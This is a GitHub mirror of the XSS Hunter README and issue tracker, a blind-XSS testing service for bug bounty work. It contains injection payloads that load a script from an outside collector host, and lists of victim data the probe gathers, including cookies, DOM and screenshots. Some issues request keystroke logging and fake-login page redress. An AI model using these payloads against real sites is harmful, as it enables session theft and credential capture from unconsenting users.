mandatoryprogrammer / xsshunter Goto Github PK

View Code? Open in Web Editor NEW

1.5K 48.0 299.0 3.62 MB

The XSS Hunter service - a portable version of XSSHunter.com

License: MIT License

Python 18.34% HTML 28.02% CSS 11.58% JavaScript 42.07%

xsshunter's Introduction

DEPRECATED - TRY THE NEW EXPRESS VERSION

See here for more info: https://github.com/mandatoryprogrammer/xsshunter-express

XSS Hunter Source Code

This is a portable version of the source code running on https://xsshunter.com. It is designed to be easily-installable on any server for security professionals and bug bounty hunters who wish to test for XSS in a much more powerful way.

If you don't want to set up this software and would rather just start testing, see https://xsshunter.com .

Requirements

A server running (preferably) Ubuntu.
A Mailgun account, for sending out XSS payload fire emails.
A domain name, preferably something short to keep payload sizes down. Here is a good website for finding two letter domain names: https://catechgory.com/. My domain is xss.ht for example.
A wildcard SSL certificate, here's a cheap one. This is required because XSS Hunter identifies users based off of their sub-domains and they all need to be SSL-enabled. We can't use Let's Encrypt because they don't support wildcard certificates. I'm going to hold off on insulting the CA business model, but rest assured it's very silly and costs them very little to mint you a wildcard certificate so go with the cheapest provider you can find (as long as it's supported in all browsers).

Setup

Please see https://thehackerblog.com/xss-hunter-is-now-open-source-heres-how-to-set-it-up/ for information on how to set up XSS Hunter on your own server.

Summary of Functionality

Upon signing up you will create a special short domain such as yoursubdomain.xss.ht which identifies your XSS vulnerabilities and hosts your payload. You then use this subdomain in your XSS testing, using injection attempts such as "><script src=//yoursubdomain.xss.ht></script>. XSS Hunter will automatically serve up XSS probes and collect the resulting information when they fire.

Features

Managed XSS payload fires: Manage all of your XSS payloads in your XSS Hunter account's control panel.
Powerful XSS Probes: The following information is collected everytime a probe fires on a vulnerable page:
- The vulnerable page's URI
- Origin of Execution
- The Victim's IP Address
- The Page Referer
- The Victim's User Agent
- All Non-HTTP-Only Cookies
- The Page's Full HTML DOM
- Full Screenshot of the Affected Page
- Responsible HTTP Request (If an XSS Hunter compatible tool is used)
Full Page Screenshots: XSS Hunter probes utilize the HTML5 canvas API to generate a full screenshot of the vulnerable page which an XSS payload has fired on. With this feature you can peak into internal administrative panels, support desks, logging systems, and other internal web apps. This allows for more powerful reports that show the full impact of the vulnerability to your client or bug bounty program.
Markup Report Generation: Each XSS payload report comes with a pre-generated markdown report. These generated reports are also compatible with other markdown-supporting platforms such as Phabricator for easy bug reporting on company ticketing systems.
XSS Payload Fire Email Reports: XSS payload fires also send out detailed email reports which can be easily forwarded to the appropriate security contacts for easy reporting of critical bugs.
Automatic Payload Generation: XSS Hunter automatically generates XSS payloads for you to use in your web application security testing.
Correlated Injections: Perhaps the most powerful feature of XSS Hunter is the ability to correlated injection attempts with XSS payload fires. By using an XSS Hunter compatible testing tool you can know immediately what caused a specific payload to fire (even weeks after the injection attempt was made!).
Option PGP Encryption for Payload Emails: Extra paranoid? Client-side PGP encryption is available which will encrypt all injection data in the victim's browser before sending it off to the XSS Hunter service.
Page Grabbing: Upon your XSS payload firing you can specify a list of relative paths for the payload to automatically retrieve and store. This is useful in finding other vulnerabilities such as bad crossdomain.xml policies on internal systems which normally couldn't be accessed.
Secondary Payload Loading: Got a secondary payload that you want to load after XSS Hunter has done it's thing? XSS Hunter offers you the option to specify a secondary JavaScript payload to run after it's completed it's collection.
iOS Web Application: It is also possible to view your XSS payload fires via an iOS web app. Simple navigate to the /app path and save the page as a web application to your iPhone's desktop.

Notable Exploits

Blind XSS in Tesla's internal servicing tool: https://samcurry.net/cracking-my-windshield-and-earning-10000-on-the-tesla-bug-bounty-program/
Blind XSS in Spotify's Salesforce integration: https://mhmdiaa.github.io/blind-xss-in-spotify/
Blind XSS in GoDaddy's support panel: https://thehackerblog.com/poisoning-the-well-compromising-godaddy-customer-support-with-blind-xss/

Want to Contribute?

All code was created by me and (for that reason) is likely not best practice and definitely in need of optimization/cleanup. Any pull requests are appreciated!

xsshunter's People

Contributors

Stargazers

Watchers

Forkers

paulsec tdr130 cocaman c4bbage bryonglodencissp superuser5 3xp10it security-geeks shantanu561993 rainism filipposm joncooperworks lyoung-uber ajaska fun-alex-alex2006hw ramadhanamizudin bishopfox lucabongiorni richnetdesign wflk wuyouzi rogierg dipsec hood3drob1n vf3ng sampsonc moloch-- 5up3rc ajmartel z0x010 0day1day spnow xieqiwen1993 jl-dos sgnls he-who-is-him hpanago mystech7 n4yk unl1k3ly swooningfish expert4u-rahul 0patch swarley7 magnologan noobzero expertasif spetr0x botranvan gazcbm adibdz ryancblack phantasmlab acealchemycyberblaze mehrdad-shokri jaikishantulswani yehgdotnet tyekrgk gongchengcheng fingerleakers relotnek johnhubcr selfevo armudgal agius crackercat vortexau codingo mrtaheramine l50 brianwrf mmg1 trackscorer cxjtor jorgenphi malacupa julio1925 c-sto humanoidphantom lewisardern leis1 w00t3k ivybao0628 boogie77 uncia theseanis oneplus-x skizap egebalci th-watch3r blunden vince-lynch tuhaolam pupilo mahamoutdogoy modulexcite iephor007 domingolaz francisg-gc earlvking

xsshunter's Issues

Log in error

after setup when i trying login i have message 'true'

Get "Invalid Signup Information" when trying to sign up

Hi there,

Many thanks for this great tool and for Open Sourcing it. I'm having some issues with setting it up. The webservice starts without any problems and I get a nicely working version of xsshunter. However when I try to sign up I get "Invalid Signup Information" in the registration screen. I tried a couple of different variations but all give the same problem.

I've tried searching for errorlogs but there do not seem to be any, (api/logs is empty) also if I run guiserver.py manually it does not echo any errors.

Anything I can do to debug further?

Can't install on ubuntu 16

Did everything like in article https://thehackerblog.com/xss-hunter-is-now-open-source-heres-how-to-set-it-up/index.html but without luck. Index page on the server is the same, any tips to resolve?

Warning logging doesn't log

In the file api/apiserver.py, in the logit method, it checks if the type is "warning", but "warn" is passed in.

Not able to submit contact/abuse

Someone that not me tried using XSSHunter on my website but i can't fill up the contact form
http://i.imgur.com/hgVzatg.png

Window Redress

This one, combined with #12 , is a really big one. Replace the current DOM content with the contents of another page and change the URL bar's contents and favicon. That way, you can replace the contents of '/dash' with the contents of '/login' and capture the resulting keystrokes. This is why XSS still rules.

Again, source example: https://github.com/Miserlou/XSS-Harvest

I can't reach https://xsshunter.com

I GET ERROR AS FOLLOWS, CAN YOU HELP?

xsshunter.com took too long to respond.
Try:

Checking the connection
Checking the proxy and the firewall
Running Windows Network Diagnostics
ERR_CONNECTION_TIMED_OUT

Payload fires but nothing appears on the "xss fires" page

Hi,
I've just set up a version of xss hunter on my VPS and everything seems ok except that I don't see the result of the payload that have been triggered.

Here you can see the xss triggering in the api logs :

and here is my xss fires page :

Do you have any idea where the bug could come from ? any informations I could give you to investigate ?

Thanks for reading !

Missing dependencies for yaml

I installed on a fresh install of Ubuntu Server 18.04 in Azure.

PROBLEM
Upon running the ./generate_config.py I encountered the "ImportError: No module named yaml" error.

Running pip install yaml results in:

Collecting yaml
Could not find a version that satisfies the requirement yaml (from versions: )
No matching distribution found for yaml

SOLUTION
Run pip install pyyaml or if you want to install machine-wide run apt-get install python-yaml

I suggest either updating the dependencies or reflect this somewhere in the documentation.

xsshunter don't take screenshot of content in an Iframes

I'm trying to take a screenshot of a html pages with an iframe, but xsshunter is not taking the screenshot of the Iframe content.

EXAMPLE:
index.htm

<iframe src="demo_iframe.htm" style="border:2px solid red;"></iframe>
<script src=https://attacker.server></script>

demo_iframe.htm:

<html>
<body style="background-color:powderblue">
<h1>This page is displayed in an iframe</h1>
</body>
</html>

smtp issue

xsshunterexpress_1 | (node:29) UnhandledPromiseRejectionWarning: Error: Connection timeout
xsshunterexpress_1 | at SMTPConnection._formatError (/app/node_modules/nodemailer/lib/smtp-connection/index.js:774:19)
xsshunterexpress_1 | at SMTPConnection._onError (/app/node_modules/nodemailer/lib/smtp-connection/index.js:760:20)
xsshunterexpress_1 | at Timeout. (/app/node_modules/nodemailer/lib/smtp-connection/index.js:229:22)
xsshunterexpress_1 | at listOnTimeout (internal/timers.js:554:17)
xsshunterexpress_1 | at processTimers (internal/timers.js:497:7)
xsshunterexpress_1 | (node:29) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). To terminate the node process on unhandled promise rejection, use the CLI flag --unhandled-rejections=strict (see https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode). (rejection id: 4)

500 error if api/uploads does not exist

If the xsshunter/api/uploads folder does not exist, the server will respond with 500 errors (failure in the upload_screenshot function) and xss fires will not be recorded.

Checking for the existence of this folder at runtime or initial configuration should solve this issue.

XSShunter API doesnt work anymore

Endpoint for querying payload fires doesnt work anymore returns 502

Let's Encrypt now supports wildcard certs

https://community.letsencrypt.org/t/acme-v2-and-wildcard-certificate-support-is-live/55579

So that's cool, you could change the readme now.

XSSHunter fails to trigger on SVGDocument

This is a great tool for XSS testing and while I am playing with it, I noticed that if the Root document is an inline SVG image and using the XSSHunter probe, the XSSHunter JS callback fails to trigger.

Here's a change I made to probe.js by adding the following before if( document.readyState == "complete" ) { line that helps:

if( document instanceof SVGDocument ) {
    document.location="data:text/html,%3Cscript src=[HOST_URL]%3E%3C/script%3E";
}

Basically, this is just creating a data url and injecting the script again from an HTMLDocument or it might be just using the data url as the payload.

Can anyone help me to setup it in my vps. I am getting stuck in the middle. Please!!!!!

Hey, I need help in setting up it in my vps.

I have successfully generated the wildcard ssl certificate, and successfully run the generate_config.py. But, when it comes to doing the mv command. It's asking for the postgres password.

But, i don't know the password. I am getting stuck at that place.

Please anyone help me!!!

Can increase bulk delete function or select delete function

How to test the information returned too much, the current delete function is not too awesome. Can increase bulk delete function or select delete function

Allow //y.vg script to be hosted elsewhere

Noticed the //y.vg here:
https://github.com/mandatoryprogrammer/xsshunter/blob/master/api/apiserver.py#L64

I understand that it's a convenience to host this script externally, but it might be nice to decouple this app from a third-party url. I was thinking about os.environ.get('XSS_SERVER_SCRIPT_URL', '//y.vg'). Sound okay?

Keystroke Logging

This one is simple, please also capture every keyboard and mouse event!

Example: https://github.com/Miserlou/XSS-Harvest

Including the collector script multiple times causes race conditions

Basically when I include the script two times I get two e-mails, but with the same Probe UUID and Injection Key.

The solution is simple: wrap all of your own code (below the dependencies) in a IIFE. This way variables such as probe_return_data or contact_mothership are not in the global scope and don't mess with each other.

It's not critical, since at least something is collected and it does not crash. But I consider including it multiple times common in Blind XSS, since fields like first name, last name, bio, etc. might be rendered at the same time.

Password reset functionality not working

I think this hasn't been reported before, but let me know if that is incorrect.

Basically, I was trying to reset my password, but the option is not readily available in the UI. However, I
found that this feature is implemented in https://xsshunter.com/app:

<div class="panel-body">
                <label for="reset_password_username">Username</label><br>
                <input type="text" id="reset_password_username" class="form-control" name="reset_password_username" placeholder="mandatory" autofocus="">

                <button type="button" id="reset_password_button" class="btn btn-primary btn-block">Reset Password</button>
                <button type="button" id="go_back_to_login_form_button" class="btn btn-block">Return to Login Page</button>
            </div>

but even though I receive a password reset confirmation, visiting the URL provided only returns a 404: Not Found error.

Any help would be appreciated.

By the way, extremely useful application. Thanks!